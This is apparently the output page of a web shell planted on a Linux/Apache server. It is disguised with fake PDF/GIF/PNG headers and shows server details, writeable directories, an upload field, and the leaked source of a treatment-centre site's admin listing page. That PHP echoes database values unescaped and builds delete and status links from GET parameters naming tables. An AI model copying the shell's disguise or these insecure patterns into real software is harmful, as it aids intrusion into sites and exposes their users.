%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin-20230209204024/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin-20230209204024/centres.php
<?php
include "top.php";
?> 
<div class="content-wrapper"> 
<section class="content-header sty-one">
<h1>centres</h1>
<ol class="breadcrumb">
<li><a href="dashboard.php">Home</a></li>
<li><i class="fa fa-angle-right"></i> centres</li>
</ol>
</section>
<section class="content">
<div class="panel-heading"><a href="centresadd.php" class="btn btn-round btn-primary" >Add New Centre</a></div>
<div class="table-responsive">
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th>ID</th>
<th>PICTURE</th>
<th>Treatment</th>
<th>City</th>
<th>Name</th>
<th>Phone</th>
<th>address</th>
<th>ACTION</th>
</tr>
</thead>
<tbody>
<?php
$i=1;
$query="select * from centres order by id DESC";
$result=mysqli_query($c,$query);
while($row	=	mysqli_fetch_array($result))
{	
?>
<tr>
<td><?php echo $i++;?></td>
<td><img src="../webroot/img/<?php echo $row['picture'];?>" width="100"></td>
<td><?php echo str_replace("__", "<br/>", $row['treatment']);?></td>
<td><?php echo str_replace("__", "<br/>", $row['city']);?></td>
<td><?php echo str_replace("__", "<br/>", $row['name']);?></td>
<td><?php echo str_replace("__", "<br/>", $row['username']);?></td>
<td><?php echo $row['area'];?><br/><?php echo $row['address'];?></td>
<td>
<a href="centresedit.php?id=<?php echo $row['id'];?>" class="btn btn-outline btn-default"  title="Active"><i class="fa fa-pencil"></i></a>
<?php
if($row['action']=='YES')
{
?>
<a href="action.php?id=<?php echo $row['id'];?>&action=YES&page=centres.php&field=action&table=centres" class="btn btn-outline btn-default"  title="Active"><i class="fa fa-eye"></i></a>
<?php
}
?>
<?php
if($row['action']=='NO')
{
?>
<a href="action.php?id=<?php echo $row['id'];?>&action=NO&page=centres.php&field=action&table=centres" class="btn btn-outline btn-default" title="In Active"><i class="fa fa-eye-slash"></i></a>
<?php
}
?>
<a onclick="return deleterecord('delete.php?id=<?php echo $row['id'];?>&table=centres&page=centres.php')" href=""  class="btn btn-outline btn-default" ><i class="fa fa-trash"></i></a>
</td>
</tr>
<?php
}
?>
</table>
</div>
</section>
<?php
include "footer.php";
?>

VaKeR 2022